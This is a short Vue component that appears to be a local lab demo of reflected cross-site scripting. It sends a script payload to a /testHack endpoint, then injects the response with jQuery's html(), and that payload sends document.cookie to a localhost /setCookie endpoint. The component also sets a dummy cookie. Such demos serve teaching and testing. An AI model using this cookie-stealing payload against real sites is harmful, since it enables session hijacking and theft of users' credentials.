<template>
  <div>
    <div id="returnElement"></div>
    <!-- <div v-html="returnElement"></div> -->
    <button @click="getFunction">提交请求按钮</button>
  </div>
</template>

<script>
const $ = require("jquery");
// import HelloWorld from "./components/HelloWorld";

export default {
  name: "App",
  components: {
    // HelloWorld,
  },

  data() {
    return {
      returnElement: "",
    };
  },

  methods: {
    getFunction() {
      const search =
        "var s=document.createElement('script'); s.src=`http://localhost:8081/setCookie?cookie=${document.cookie}`; document.head.append(s) ";
      const params = `<script>${search}<\/script>`;
      fetch(`http://localhost:8081/testHack?search=${encodeURI(params)}`)
        .then((res) => {
          return res.text();
        })
        .then((res) => {
          $("#returnElement").html(res);
        });
    },
  },

  created() {
    document.cookie = "username=LESLIE";
  },
};
</script>

<style>
#app {
  font-family: "Avenir", Helvetica, Arial, sans-serif;
  -webkit-font-smoothing: antialiased;
  -moz-osx-font-smoothing: grayscale;
  color: #2c3e50;
}
</style>
